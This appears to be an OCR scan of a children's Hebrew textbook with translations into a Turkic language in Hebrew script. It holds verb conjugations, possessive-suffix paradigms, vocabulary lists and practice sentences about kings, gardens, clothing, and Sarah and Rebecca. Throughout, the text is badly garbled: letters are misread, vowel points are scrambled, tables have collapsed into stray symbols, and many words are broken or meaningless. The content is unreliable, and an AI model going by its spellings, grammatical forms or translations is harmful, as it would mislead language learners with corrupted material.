(בונון נא איצון מָחְזון סין ?6
שרה ורבקה ! נא איצון בוגון יוזוניו מחזון
ריר .
עומרימיו קיסא דיר וא יאשלינימיו נולגא
ניבי צר . |
רב אוכסיו לרי. וא פאקירלרי סויר
(סוויג'ידיר) .
בבאמי ססיני אשיטיג'י אים
(אשיטייר אים) .
פָארשאה | אללהא אישאניג'י = דיר
(אישאנייר) .
קיוקרדשום אַבִי סאקלייר (סאקלייג'ו דיר).
ל"
ישבָּבו= יְשְבָּבו
ירפץ = יהחץ
לרגל. הילדים 5
יפל | שה , קאדיר אולוניי, קאדיר אולאן', קדיר אולוייר ,
יכלים , יכלות , קדיר אולוג'ילר + קאדיר אולאנלר . קאדיר ל
י, ' '/
סבו = יכמְבוּ : מככו= תִבתְבו : הכמבי = הִבְתבי :
ישמרוּ== ישמרוּ : משמרו= תשמרו: תּשְמְרי= תִשְמָרי :
שב = ישכב : תִּשָכב = תשכָּב + אשנכ = אִשַבָּב. :
מִּשְכְּבוּ= תִשְכְּבוּ + תִּשָבְּכִי = תִשכָבִי :
נרחץ = נרְחץ : רתע = חִרתְצָנָה.:
.*+ .*.
': זה
סוסף == סוסך : סוי = סוסי :+ סוסיף = סומיך :
פקירף = פקירף : פּקירי == פקידי : פקיריף = פקיריךף :
עף = יע + נבעו = גביץי + נכעוך = גְּביעיף :
וש = רעך 'י "= רעי * הצר = רעיך
שמְרוּ == שמרו : שָמרי == שַמְרִי ;
כּחב' = כִּתַבו' ל כִּחְמִי == כְּתִבִי :
שָאָלו = שאָלו + שְשלִי = שאלי :
שמטו= שָחְטו: שְחטִי = שַָחָטי :
עמדו = יְעמְדו + פעמְדו = תעדו : פעמרי = תעמרי :
חי = יחק + תחוקי = תחוקי : סחקי = תחוקי :
שרד = געל
שלף = נעלך :
אֶלהִים , ללה לו אלה .= אֶלְהִים קדושים , עייז אללה .
חיים, > *ירליכלר) דירליפ . = חַיים טובים , איי דירליב .
ָנִים , יחלה יו פּנים רעים , פגא יוּז, מחזון יוז,
נָבָל , (ץ ך') ז', לאוויט, נעורום , (1) ז', צוג'וקליק, אָמַת > נכ", דונרוליק |
שמט, (ץ דיזי , צובוק . יאשליק . בּאָמַת , דוגרוליק
שבט . וקני ₪ . קרטליק , אילן .
עְוֶר, ( ה')ז', יאררים . אֶתַת תִייארְליק .
4 לרנגל הולדים
נפרר על בּוזאב . [' לים .
נסמך על הַעבָר . טנלי הַעְבָר, .
לזכר | לנקבה | לזכר | לנקבה
[ לי | עגלי של | ענלי
|| של | של | ,עלך | עלך
1 של | שָלָה- .| ליי - | שָלְק
| של | עלו"] עלנו | שלט
"| לס | לו = | ללס | עלק
עצה פרץ , פָּרִי , מייווא . פָּרִי עַץ , דירב מייוואסי - פֶּרְנִי, פריף) פריף :
פרי1, פריָה ; פרְיוּ; פריכם, פריכן ; פריס, פריָן:
לי כּלִי, סאניט . בּלִי עץ, אנאץ סאגיט ;= כָלָ , לי : לי '
לט , סאנימלר > בְּלִי עץ; ל בְּלִיהִוכי (ז1) :
2 (נקבת)
כָּתב , | פּתב ,.- כַּתַבָה או כתבת , יאזוגיי: יא , יאזוור..
בּתבִים , כתבות , יאזיג'ילר , יאזנלר , יאזיירלר .
שָמר, שמר / שמְרה או שמָרֶת | סאקליוג'י , סאקליין . סאקלייר..
שמרים, שמרות , \ סאקלייג'ילה , סאקליינלר , סאקליינֶלר .
בּמַה ,| בּטה,/ בִּמַתָה או במְחת , אישאניג'י , אישאנן , אישאנייר .
בּמְחִים,. בּמָחות אישאנינילך , אישאננלר , אושאנייָלר .
שָמִע, שמע , שמעה ו ושמָעַת, אשיטיג'י ,אשיטן , אשיטייה.
מָעים, שמעות , אשיטיגיילר , אשיטנלך , אשיטיירלר ,
חפ'ן חִפץ, חפזצה ; = איסטיינ'י, איסטיין, איסטייר .
3
ד
צות , איסטייג'ילר , איסמיי נלר : איסטיירלר .
הוספיבוב ב :וי
לרגל- הילדום 3
קיוקרדשים : סניג אילן בוגון-גון. חלאויק- עקללי מי-דיר+ בו יראמז קול
אניג אילן גזן כיציב אושאגי רוגדי וא אושאק פכ פרייאד איטדי . אנאם
אניג אילן אוטורן עקללי וא דילכך חלאייני די וא אגא בִּיר יפכ רוא
דיכדי, ירָאמז מסרלילר אנלה איל| גירן קוללרי אולדורדילר וא אנלרי קוּמַא
(בחול) גומדילר. מסררא בּיזים אילן אוטורן כּימסאלרי בילדיגיז מי? דון
אקאם אולדי וא אני בוגון גומדיב . אוגלום : בּני מסר דא גופמייסין ,
בני ירושלם - דא גום. סני כּים דוגדי. קרדשים !
.3 6
ו הַָבֶר אָשָר יַבְטַח בָּאדנִי , רבא אישאנן כימסא אלנישלי דיר .
אין קרוש כּארן א רב גיבי עזיז יוק דיר .
לאדני תַאָרֶץ , ייר רבביג דיר .
ְהוָה נַָן ואדני לְקֶח | רב ויררי וא רב אלדי .
בּאלהים בְָּחְנוּ > .. אללהא אִישאנדיק .
אן דול בַּאלְהִים , אללהּ גיבו ביוכ יוק דיר .
הַמֶשפֶּט. לְאלהִים הוּא. שעת אללהיג דיר..
ואלהים מַלבָּ ,= וא אללה פאדשאהים דיר .
זז'י\ ו שם יחיר
נפרר מַפַר , כּתאב. ספרים +
נסמך סָפַר אבו . ספרי אִכִי ,
| לזכר | לנקבה | לזכר | לנקבה
ספָרִי = | סְפרִי" = | מְפָרִי" = =] סַפָרִי
4 ז 0 :
3 || ססר = | ספכף | סְפִֶך = | סְפְר
5 [| ספ = | ספה | סַפרו = | סְפָריהָ
4 סְפְרְנוּ ספרנוּ ספרִינוּ סְפְרִינוּ
ב ]| רכס = | ספּרְבֶן = | ספריכם | סיכ
5 || ספרם = | ספ" = | פְפְרִיהָס = | ספְריָן
2 לרגל הילרים
ואותם לא לכד. משה! שלח את נעריך וימכרו את העגל הוה. הרעיך
הגברים: אשר הלכו אתך היום? שחט את העגל הוה .ואבלנו את בשרו,
שחטו את העגר ההוא ואכלתם את בשרו. אל תשחטו את העגל כי
דל הוא. מאד. ארור הגבר אשר שם בשר מבטחו . הבשכלכם -תבטחו
אם בהונכם !
אוגלום-! פאדשאהומיזיג אייליכלריני סאגין. (חטריגדא דוט) וא
אונוממא. יצחק ושמואל וסיזיג יאניגיזדא אוטורן אוכסוזלרי בוראקמאיאסיז.
בבאם סיזיג' אילן -איטדיגי: אייליב לרי אונוטמאיאסיו . שרה ורבקה !
קאם- סיזא איטדיגי. אייליכלרי אונוטור מי סיגיז. אני עקנה) כּים
אולדוהדי + פני ?+ כּים דוגדי+ ביזלרי טאנידיניז מי+ (בילדיניז מי 6.
בן אנלרי ?+ בוגון אגלריג שי יאנינדא גזרמדים . אנלריג 9+ אושאקלרי
בּיזים אושאקלרימיזדן מנבל דיר. אנלריג עק)רובאלריי סניג ק) רובאלריג
דן דאר דיר. סיזי3 2ק+ כופאלריגיז קיזקררשימיג כופאלרינדן אגיר דיר .
פוקרא לרי בוראקמאייק וא אללה ביזי בוראקמו . אוכסיזלרי בוראקמא
וא אקלה סני דאר גונדא בוראקמז. קיז קרדשים ! אללהי סָב וא אללה
סָבֶר סני . שרה ורבקה אנלריג בּראברינדא. אוטורן פוקרא ישראל
קרילריני סָבְדילר זירא אנלר 3 עקללי וא דוגרו אידי. וא אנלרא פחאלי
רובאלר דיכּדילר .
תן לי לחם. ואכלתי כי עיף ורעב אני מאד . בני !:מדוע בגדיף
צואים + שרה ורבקה !: מדוע בגדיכן צואים + העבד שפך שמן עליהם .
שמניך טובים ויקרים . אתה יהוה מלכנו ואותף נעבד . שרה ורבקה !
התמכרנה לי את נזמי זהבכן + אבי ודודי: המלאים מורקי כספכם .
שמואל ושלמה קרעו את בגדיהם: אחותי: אל תקרעי את בגדך . אל
תקרעי את בגדיך. שרה ורבקה: אל תקרענה את בגדיכן. היום נתפר
את בגדינו וחיום נלבש . תן לי את מזרקי זהבי המלאים . אשלח את
נערי ולקחתי את התבות המלאות . ארחץ את בשרי וטהרתימאד. אתה
תשחט את העגל הזה ואכלת את בשרו . לא אשחט אותו ולא אמכר
את בשרו . = אני ראיייאת המגדלים הגבוהים האלה ואלכר אותם .
אבי ואמי! אחבתי אתכם ואת אהותי ואת אחי ואת דודי.
יפאק אל וא אנדן בגא ביר ג'ובא דוקוּ. קיזקרדשימא איפב ויר וא
סנא ביר פחאלי רובּא דיכּפין, אוגלום ! סן בו עקללי מועללימיג סוזלריני
דיגלא וא אנלרי תאב אוזרינא יאז. אוגלום : בנים אילן בּבאמיג באגינא
ואריר--מי סין + שלמה: בן בוגון סניג אילן גזן מיסרלי קוללרי גורמרים :.
|
לרגל הילרים 1
אני שלח היום אֶלִיף אֶת נערי וְלְקְחְתִּי אֶת נְָמִי הזָתָב אֶשֶר עשָה
לך הצורף הַחְכָס. אל תשלח אלי אֶת נערף כּי נזמי הזֶהֶב הַהַּם אִין אֶתִי.
אַחותַין מ שם על זרועיך. אֶת צְמִירִי הזָהָב: היקרים הָאֶלָה דורי שם
אַתֶם על ורועי . הַרְשִי את נִעִָי אֶשר בַּרְתוּ הַיום מְכרְמִי + היוס ראית
אתֶם בַּשָרַה ובנְדִיהָס הָוּ צואִים מַאד; הָם ישבוּ שם וְאַכָלו לְחָס.. בָּני
רְאֶה אֶת הַגְעְרִים-אֶשר בו אֶת בָּגְדָיו הר 5 אוְתֶם ער חֶכְרון . מלבי
רוּשלֶם הו חַכָמִים טְבִים וְחַסְדִיקַם אתו גדולים" מָאד : מזרקי כספף
ִּבְדִים ממורקי הנחשֶת אֶשֶר לי. עָבָרֶיּ יָשְתָטוּ מְחֶר אֶת הפְּרָה וְאָבָלו
אֶת בָּשָהָה. מִי מכר אותָהּ ְהֶם 3 עְבָרִי הַמ מַברוּ אֶת כָּרֶ מִיהֶם . מו
קְנָה. אוְתָם מָהֶם + הַנָבֶר הַוֶּה. חָכֶם וְשְבְלוּ עמק מַאר . הוא לא בטח
בְּשָכְלו. וְבְכַסְפו , הוא שם. יְהוָה מְכְטָחו . יְהוָה מִבְמָחְנו וכְטתְנו 2
טוב יִהוָה לכל . אותו נעָבה ּבְטַחְנו בד, טוב אַתָה ְהוֶה, אתה נַעָב
ְבְטְַנוּ בַךבכָּך 6 .
פן: בנים יי באגימי גורדוג מי ?+ אוגלום | ביוכ בּאגיגי סאטמאיא
סין +;שרה: בגא בּבאמיג באגינא יאקין באגיני סאט. דָוָד פאקיר דיר וא
א בּאִגיניּ-. סאטגיק .: קיוקחדשים בגאית עקללי וא אני: עקלי פכ דורן
דיר.. בו-מסרלי אגאיינ רובאלרי פאדשאהיג רובאלרי קדר פחאלי דיר .
ירושלם בּאגלרי חברון באגלרינדן איידיר. בו כּישילר.בנים קוללרים דיר.
בָּנִים בּויוןרובּאלרימי שרה דיפדי. סניג : קוללריג בנים קוללרים גיבּי דוגרו
דִיר , בְּנִיִם בּאגלרים סניג בּאגלריגא יאקי דור. בגים: בן סניג אויליפלדיני
אונוממם., אנאם ביז סניג אייליכלרינ י אונוטמז. איז . קיוקררשים! יו
באגלריגי סאטר מיפין ? אוגלום! בר ייגי רובאלרי: כי בוגון גיידיג נא איצון
כורלי דיר בובּישילר ונגון דיר "- : אנלריג אלטאנצי אנלר גומלטי וא
(אנלר) אלטיני דיר . בו כיטי לר עקלקי. דיר ! אנלר .גנדילריניג' עקלינא
אישאנמז לר . שרה ורכקה גנדילריניג עקלינא אישאנמדילר .
מִי הגברים אשר הלכו אתבם היום? דודי ואבי! מי הנשיאים אשר
הלכו אתכם בכרם המלף + . שרה ורבקה : התלמידי אחי הלכו אתכן
בכרמכן ? בני: שאל מיהוה חכמה ואל תשאל ממנו כסף וזהב . אל
תעזבו את העניים והאלהים: לא יעוב אתכם ביום צר. אל תבטחו
בשכלכם אל תבטחו בנדיבים . שרה ורבקה: מרוע תזעקנה ? מי הכה
אַתכן+ הראית את המלכה ואת המצריות אשר הלכו אתה. אני לא
ראיתי אתהן בני: שלח את תלמיד יד ויכתבו לי מכתבים . המלף שלח
את פקידו החכם וילכד את כל מגדלי חברון . הוא בא עד המגדלים
(חל לק ראשון) ,11
020
ער מוּסָר ,
אל תִמְנָע מנ
בְּנִי ! שמע אֶת שירִי הַנְשִיא וְכתָרְסָ אתֶם
על סְפַר .
בעף ורע אְבִיף אל תעוב .
אַחותִי ! עבריף הלכו אַתִּי עַר. כּרָמִי
הַבְרוּן.
שרה ורְבקה! כִּרְמִיכָן רחוקים מִבְּרְמִינוּ.
ארוּר הנכר אֶשָר יבש זח בא רב
אָרוּרִים הַנְכָרִים אֶשָר יכ
בְְהָבֶם .
בָּתִּי ! זְבָרָו ול תִּשַכְחִי אֶת חַסְרִי דורך.
טַחוּ בְּכַספֶּם
שְרָה וְִבְקה : עבריכן אָשר הִלְכוּ אתקן
עַד בַּרְמָנוּ הַיום יָשרִים מָאר .
שרה ורבקה רְחָצוּ אֶת בְּשרו וַפִּסְהרְנָה.
שרה ! היקרים צְמְיָרִי כִסְפַךָ הַאָכֶה ?
וְרִבְקָה ! נזְמִי. וְהַבְכָן יקְרִים
מִבְּמִירִי כּסְפָּו +
רבקה : רַמְצִי אֶת בְּשָרִך וְטְהָרְףְּ .
הגבְרים האלה חָכָמִים, וְאַתָה לק אַתם
וַתֶסְכם כָּ- מוה 7ם .
שרה
אַחוְתִי פתפר מ ולו י צמַר יקרים וּמַכְרֶה
לפְקִירִי הַמָלְך .
הַלילֶה שמַעפִי
הרשע הוה בַּטַח בכספו ושם זהבו מִבטֶחו.
קול פַּחָדִים וְאֶפְחַד מָאר.
לרגל הילדים
צוג'וק רן אונוטו אַלִי קומא. (אג'ימא) . |
אונלום ! אנאניג טורפולריני דינלא וא |
אנלרי כּתאב אוזרינא יאזר סין (יאז) .
דוסטוני וא בּכאניג דוסטוני בוראקמאיאסין. .
קיז קרדשים ! סניג קוללרי. בנים. אילן
חברון ני באנלרינא קדר גיטדילר.
ורבקה! סיינ בּאנלריניז ביזים
בּאנלרימיזרן איראק דיר .
אול כּימסא כּי אדמא אישאניר קרנישלו
0%
אול כּימסאלר כי גומישלרינא וא אלטינ-
לרינא אישאנירלר קרנישלי דיר . |
קיזים ! אקא גי בּיוּ אייליכריני כאנון וא. |
אונוטמא . |
שרה ורבקה ! סיזיג אילן בראבר ביזים |
בא גא קדר גירן קוללריניו פב |
דוגרו אירילר .
שרה ורבקה טנלריני יאייקאד ילר וא פאכ
2 ולר .
|
|
|
שרה
שרה ! סניג בּו גומיש בילויכּלרינ פחאלי
מי ריר ?
שרה ורבקה ! סיזין אלטין כּופאלריניו
ביזים גומיש בילויכלרימיורן פחאלי דיר .
רבקה ! טניני יאייקא וא פּאכ אולורסין 'אול).
בּו כישילר פּכּ חכם ריר , וא סן אנלר אילן
נוריג וא אנלר גיבי חכם אולרון .
קיו קררשים יון ג'ובאלר דיכר וא פּארשא-
היג וכיללרינא סאטר .
קורקונצלי סס אשיטרים וא פּכ
קורקדים .
בו וראמז נומישינא אישאנדי וא אלטיניני
אישאנצי קורו (גנרינא אישאנילג'ק
שיי חסאבּ איטרי6 .
כו נג')
|
ן
|
|
לרגל הילרים
נָּבָר , (711) ז', כישי, אִרְבָּ .
ָזֶם , תד בד , כּּפָא ,
.
שָכָל , ד ב') ד עקל .
פחר , כצ א')ז'. קוחקו:
קול פָּחָרִים,
ורקנצָלי מָסם.
רוע , (01 ש'. בילב אֶל,
קת .
מַלְבָּנוּ הנור לְבַש היום אֶת מעיל צמרו.
מָרִי המל היפים לכשו אֶת בְַּרִיקֶם
היקרים.
אָנִי שְמְעתִּי אָתמל אֶת דַּבְרִי מלכָּנו
הטוכים וְאָכפב אחְם על סְפר .
היום אֶרְחץ את בְָּרִי וְטֶרְתי ולכי
אֶת בְַּדִ צְמָרִי .
אחי הֶלךְ אֶת חַבְָמִים ָחכֶּם .
מִי כל לְסָפר אֶת כָּל החסְרִים אֶשָר
עשה מְַבָּנוּ הַנָדִיב אֶת אָבִי?
מַלְכִּי ! החסרים אשֶר עשי אַסִי ָרוּלִם
מאד ולא אוּכָל לְסְפר אתם .
מלְבָּנוּ! מי יוכל = לספר אֶת חַסְרִי
הנדולים ?
עַבְרִי דורי גְבוּאֶַת בְּנְִי היקרים וילְבְּשו
אתֶם הזם .
האמה הצרי ננְבָה אֶת גמ והבי
תמר אֶסֶם לַעַבְרִיף הִרְשָעִים .
מוסר יהוה בָּנִי אֶל תִּמְאָס
רע, () דוסְםְ
בַּשָר , (*0ד . אָט. מן ,
9 אדם .
מוסר , (11) ז'. אוגוּט ,
מַבטַח, (10) ז' אישנץ. אגא
אישאנילן שיי יאבוד ּימסא,
פָּחַר , כעת' יפחר) קורקרוי. אָרוּר ,
מָאס , (עת' יַמַאַס) כור
איטדי. =
19
מְעַט , (עת' ומְעט) אז
אולדי , אז קלרי .
מְנַע , (ימְנַעַ) אָלִי קורו :
אג'ידי .
שֶם , קודי, חסאב איטדי.
ְּרוּף , אלגישלי, מכֶטובלי .
קַרְגָשָלִי , לענתלי :
אַיְִיב.
9 . איי שיי
טוב ,
ג באר פארשאהימיו בוגון יון ג'ובאסיני
גוודי .
פארשאהינ רילבר אושאקלרי פּחאלי
רובּאלריני גיורילר
ב רון פּארשאהימיזיג איי סוזלריני
אשיטרים וא אנלרי כּתאבּ אוזרינא
יאזדים . ו
בוגון טנימי יאויקאר אים וא פּאכ אולור
אים וא יון רובאלרימי גיור אים .
קררשים חכם לר אילן גזרי וא חכם אולרו .
עאריל פארשאהימיו בּכאם אילן (כבּאמא)
איטריני ג'ומלא ביו אייליכּלרי
כּים סאיא בילור .
אי פארשאהים ! פּנים אילן (בנא) איטרינינ
אייליּ לר בּנאית ביוכ ריר וא אנלרי
בּן סאיא בילמם . |
אי פאדשאחימיו! סניג בּיוכ אייליכּלריני
כּים סאיא ביליר ?
אקאמיג קוללרי בנים פחאלי רובּאלרימי
צאלדילר וא אנלרי בוגון גיידילר .
מסרלי חלאייק בּנים אלטון כּופאלרימי
צאלרי וא אנלרי סניג = יראמו
קוללרינא סאטרי .
רבבינ אוגוטיני , אי אוגלום, בור אירמא.
78
אֶת
אֶת,
לרגל הילדים
, אותִי, 3 :| אותֶך , אותֶך, טי אתו, אותה, אי: אתנו . ביזי,
אֶתְבֶ אֶתְכָן, סי + אותֶם או אֶתְהֶם; אותֶן א אֶתְחן, אגלרי > -
אתי , בנים אילן . בּראברימא , יאנימדא ; 2 , אֶתַּךָ, סניג אילן . סניג
בּראברינדא ; אֶתו, אֶתָּה , אניג אילן. אנינ בראברינדא : אֶתָנ ו , ביזים אילן .
בראברימיזדא : אֶַתְכֶם , אֶתֶּכָן , סיזיג אילן . בּראבריגיזדא ;= אַתֶּם , את ,
אנלר. אילן , אנלריג בּראבּרינדא.
ְבִיד הב , אלטין זינג'יל. רְבִיד זֶהבִי, בּניסאלטין זינג'ילים.
מעילי, צַמַר , ין גוּבַאלר . מעילי צַמָרִי , בנים יון ג'ובּאלרים .
צמִית כָּסַף , גומוש בילזיּ . צמיד כּחָפִּי , בּנים נומש בילזינים.
מזרקי כסף , גומוש טאפלר . מזרקי כַסָפִי | בּנים נומוש טאסלרים .
כַּתַבְתִי , יאזרים. וְכְתַבְתִי | וא יאזרים . וכְתבתי, וא יאזר אים .
שמרמִי, סאקלרים. ְשְמרְתִי | וא סאקלדים, ושמרתי , וא סאקלר אים .
מְכַרְ , סאטדיג . מָכַרַּ | וא סטדינ . מִכָרְת , וא סאטר סין .
ָכַרְת , סאגינדיג.. = וְְכַרָחּ , וא פָאנינדיג וזכרת , וא םסאגעג'ק סין .
אֶהְבְתִי, סוודים . וְאַהַבְתִי , וא סוודים . ואַהבתי , וא סווג'= אים .
בָּרחְתִי, קאצדים . | ובְרְחְתִי, וא קאצדים ּבְרַחָתי , וא קאצר אים .
ב , יא . לא תְכָחב , יאזמז סין. יאזמא . אל תִכַתב , יאזמא.
שָמר , סאקלא . = לא חשמר , סאקלמו סין , סאקלמא. | אל תשמר, סאקלמא.
שבַח, אונוּט . לא תְשָכַח , אונוטמאו סין , אונוטטא' אל תִּשְכָּח, אונוטמא.
יָמְכר , סאטר . | לא ימכ , סאטמז . סאטמאסון . אל ימכּר, פאטמא סין.
יִרְחֶץ , יאייקר - == לא יְרְחץ , יאייקמו , יאייקמסין . אַל יִרְחָ יאייקאמסין
אַררף, קוואר אים. = לא אֶרְַדף , קוומאם , קוומאיים . אל ארַדף, קיומאיים .
ְבַתבְת , וא יאזר סָן . וא יאז .
וְשְמַרְתּ , וא סאקלהסין , וא סאקלא .
ְמַבְרתּ , וא פאטר סין, וא סאט. .
וברחקי | וא קאצר אים ; וא קאצאיים .
ק
וְרחץ , )א טויקר. וא יאיקאסין :
שמרתם , וא סאקלר סיגיז , וא סאקלאניז .
ואהבתם, וא פוור פיגיז, וא סווניז.
ורדפ , וא קוואר . וא קווסין .
לרגכ הילדים |/]
שם יתיה שם רבים
נפרר בָּנָד , רוּבא . בְּגְדִים ,
נסמך בַגָד אָבִי . בְּגְדִי אבִי .
לזכר | לנקבה | לזכר | לנקבה
. == --
ב || בְּגְדִי בּנדִי בּנדִי בּנָדִי
3 0 י 1 %ד ה
| בס | ההכה
5
בְּנְדו בְּיְרָהּ בְגְדָיו בְנְדִיהָ
בְגְרְנוּ בְּגְדְנוּ בְְּדִינוּ בְְּדִינוּ
ְּגְדִיכֶן
₪
,ו
%
1
נן
1
| פה
,%+..
טי
[₪ן
,ו
| ₪
ג
,ן
ב 6
| ל | בָָּרָן בּנְדִיתִָ' | בִּרִימֶן
-
=
שם יחיר | שם רבים
--
נפרר | נער \ אושאק . נַעְרִים %
נסמף | נער משֶה .
| מ | לבת | סבה ]| לנקבה
ל || ב התע מעי
-=7
5
ה |ג |[ עה | ער
"!| בשח | מה ]] עדיי | דה
₪ | | נערו בערנו נְעָרִינוּ גערינו
2 . . . .
2 || מרְכם | מעדכן | | נַעִִכֶם | נעריקן
נשס | נעק נעְרִיקֶס | נערִיקָן
0
₪-
לרגל הילרים
ורחי
: חץ , יאייקאר , וירחץ , וא יאייקאר
וְיִרְחֶץ, וא יאיקאדי .
ויָררף , וא קוואר.
וירדף, וא קוודי .
וטהר , פּאב אולור. = וטְהר , וא פא אולור
7 ויטהר, וא פא אולדו
אטהר, פאפ אולורים. = וְאַטחר , וא אכ אולורים .
8 ואמהר , וא פאכ אולדום .
אֶרְרף , קוואר אים . ארְדף | וא קוואר אים
ואֶרְדף , וא קוודים.
ארְחַץ, יאייקאר אים. | וארחץ | וא יאייקר אים
וארחץ , וא יאייכאדים :
שם יהיר שם רבים
|: , פאדשאה
מלך ישראל .
לרגל הילדים 75
תפרה לי מעיל משי ומעיל צמר לא תפרה. הגנבים מכרו אתמל את
הסוסים אשר גנבו . האנשים מברו את חמוריהם ואת סוסיהם לא מכרו .
אמי לא ארגה לף מאומה כי לא חפצה. דודי זקנו ודודיף לא זקנו .
דירכ מי דיר בּו יוקסא בורג'מי+ ביזים אטלרימיזי צלאן יארמז לר
בונלר מי דיר+ שלמה ושמואל ! פאדשאהיג וכיללרי סיזי מי אגייר יוקסא
אנלרי (זכר) מי + סיזא יאזדיגים כתאבי יוללאיים מי+ אקאלרים יאפדיגי
אגאץ בורג'לריג אוזרינדא כּים דיר + אנ"ריג אוזרינדא פאדשאהיג ג'בבאר
אגאלרי ואר מי דיר : ידידיה ויהויקים ! אקאלרים ביזא בוגון ביוכ נארלר
יוללדילר , סיזא. יוללאמדי לר . נא איצון אנאגיג באגיני בוזדיג בבאגיג
באגיני בוזמדיג'. סן ביזא חוכם מי אידרסין יוקסא אוזרימיזא פאדשאהליק
מי אידרסין + בו מי ביזא חוכם אירג'ש יוקסא או מי אוזרימיזא פארשאה
אולור + ביזים קונשולרימיז מי זנגין דיר יוקסא פיז עק+ קונשולריגיז. .
אנלריג ק) קרט בּבאלרימי עקללי דיר יוקסא סיזיג ?י קרט בבאלריגיז?
ביזים קונשומיז ביזא איי נארלר יוללאמדילר . קיזקרדשלרים בו איפכ
ג'ובאלרי דיכמא יא קדיר אולדו לר אממא יון ג'יבאלר דיכמאיא קדיר
אולמדילר . אנלר קב יון ג'ובאלרי דיכמדילר זירא איסטמרילר .
קיזקרדשים ! סניג אלמין זינג'יליג ואר מי יוקסא יוק (אַין). שרה ורבקה !
סיזי ייל איפכ בורונג/בלריגיז ואר מי יוקסא יוק מי + בו באקיר מאסלר
דולו מי? סניג באקיר מאסלריג ואר מי יוקסא יוק מי ?
6
רַחֶץ , יאייקארי . [רחץ ;א יוייקאחיה,
ורחץ ה וא יאייקאר :
רְרּף:, קוודי . ָרְדַף , וא קוודו.
[רדף , וא קוואר .
מהר , פאכ אולרו ' | וטהך , וא פּאכ אולדו .
מחר, וא פאכ אולור .
שמַרְתּם, סאקלאריגיז ושמרתם , ו8 סאקלריניו .
ושמרתם , וא סאקלרסיניז .
אַהַבתָּם סוודיגיז וְאַהַבְתם , וא סוודיניז .
ואהבתם , ואסוורסיניו.
הונ - 94
4 לרגל הילדים
אִיךָ נשלח אַליכֶן אֶת כַכְמְבִינוו ואת רחוקות כַפָו . אִיף שָרָה וְרִבְקָה
תִשָלחנָה אֶרִינוּ אֶת מכתְבִיהן וְאַנְחְנוּ רחוקים גרחוקות) מָאר מַהֶן י
בו אלטין מאסלרדן שראב בן מי איצדים? שרה : בּו גומוש קאדח
דאכי שראבי סן מידוכדיג? בו ניחק ישראל לריג קאנלריני פיז מי
דוכדוגיו שרה ורבקה ! בּנים אוזרימדכי פחאלי איפכ. גיובאני סיז מי
דיכדיגיז + קיז קרדשיג בו בורונגייגי טוקודו מי יוקסא דיכדי מי ?
קול בו אלטין טאסלר דאכי שראבי דוכדו מי יוקסא איצדי מי+ בו יארמז
מיסירלי בו פחאלי אטלרי סאטון אלדי מי יוקסא צאלדי מי + כּפסיז מי
דיר אנאג יוקסא אחתייארלנדי מי+ חסטא מי דיר בו אנאלר יוקסא
אחתייארלנדי לר מי + רב דן חכמה מי איסטדיג יוקסא צוק אלטין מי+ בן
אללה דן חכמה איסמדים, מאל איסטמדים . בּו מכתובלרי יאזמאיא סגא
בן מי אמר אימדים. קיוקרדשים סיולרא בּוגון מכתובלר יאזדי אנלרא
טכר) = יאזמאדי . אנאם בוגון ביזלרא איי וא בּיוכ נארלר יוללדי סיזלרא
נקבה) יוללאמדי , קיזקרדשים ! סניג אוזריגדכי בורונג'יכ בנים אוזרימדכי
בורונג'יכ דן ייגיל דיר . שרה ורבקה : סיזיג אוזריגיזדכי רובאלר ביזים
אוזרימיזדכי רובאלר דן פחאלי מי דיר + שרה ורבקה ! ביזים אוזרימיזדכי
בורונג'יכ לר. סיזיג אוזריגיזדכי בורונג'יכ לרדן ייגיל מי דיר + בו אלטין
זינג'יל מי יוקסא גומוש זינג'יל מי?
העבר הרשע גנב את המעילים הוקרים ואת רדידי משי לא גנב .
אחותי תפרה את הבגד הזה ולתפר מעיל כמעיל אשר עליף לא יכלה .
החכמים לא יבטחו בזהבם . סכלים העשירים האלה כי בהונם במחו .
חכמים אתם ואי תבטחו בוהבכם + האשלח את הספר הזה אליף אם
לא שרה ו האליךך אשלח את רריד הזהב היפה הזה + אחי ישב בחברון
ואני שלחתי אליו מכתבי מירושלם. מי שלח לדודי ולאבי את המלאכים
האלה 1 המלף שלח אליהם את מלאכיו . שרה ורבקה ישבו בירושלם
ואבי שלח אליהן צמידי זהב. יקרים מאד . אני ראיתי היום מגדלים
גבוהים מאד ועליהם היו גבורי המלף אשר לכדו את המגדלים ההם .
המלךף החכם והנדיב מת, ומי ימלך עלינו? אדוני! נשיא אלהים אתה ו
מלך עלינו . לא אמלך. אני עליכם , ולא ימלך בני עליכם, ה' ימלף
עְלִיכם. שלמה: משל אתה בנו. לא אמשל אני בכם , ולא ימשל בני
בכם, ה' ימשל בכם . היום יצא דודי מן הבית ועליו מעיל משי רחב
מאד. מה זה עליך בני+ עליי מעיל הצמר אשר תפרה לי אמי אתמל .
מה זה עליך אחותי? עלי רדיר המשי אשר ארגה לי שרה שלשם . היא
קרגל הילדים 3
וקני חַכָמִים אִם וניכ ?
ּבְרָה עָלי הִַלָאכָה הזאת .
אי ּכְבַר עלִיף היה הואת וּהִיא
קְלֶה מַאד
הַיְתומִים האֶלֶה ענִיים מָאר וְאַךָ לא
תָמָלו עיֶם !
הַים רקי בנ אי עץ יִפָה
רְמנִים רַבִּים .
מָאר על
ַמַלְכּה יָצְאֶה הַיוּם מְהַיכְלָה ולה רריר
מָשי יָפָּה מָאר.
אבִי זקן וְאָמי לא ז קְנָה :
+י
דורי בּצְרוּ אֶת הַכּרֶם הִוָה וְאֶת הַבָּרֶם
החוא לא בִּצָרְוּ .
היום קצַרְנוּ בַּשָרָה הזה וּבַשָרה הַהוּא לא
קצרנו.
דוזועם
דורי קצרוּ הַיוּם וְאֶסָמל לא קצרו.
מעילי קצרוּ מאר וּמְעִילִיך לא קצרו נקצרו)
הַמְעילִי מָשִי לְכָשו הַנָשִיאִים הָאֶלָה אָם מְעִילִי צָמִ
כנים ג'רלרים עקללי מי ריר , = יוקסא
סיזוג ג'דלריניו מי ?
אוזרימא בו איש אזור אולרו.
בו חיומת אוזרינא נאסלי אניר אולג'ק ,
או איסא פכ ייניל דיר .
בו אוכסוולר פּכ פוקרא דיר וא
אנלרי אג'ימייג'כ סיניו ?
בוגון בבאמינ בחצאסינרא ביר דלבר
דירכ גוררום וא אוורינרא צוק
נארלר (ואר אירי6) .
מליכּה בוגון סראיינדן ציקריוא אוזרינדא
ביר בגאית דילכר איפכ בורונג'וכ
(ואר אירי) .
אחטייארלנדי
אחטיוארלנמרו
אקאלרים בו בּאני בוזרילר או . בּאני
בוזמדילר .
בוגון בו טרלא דא אוררוק, או טרלא רא
אורמריק .
נאסלי
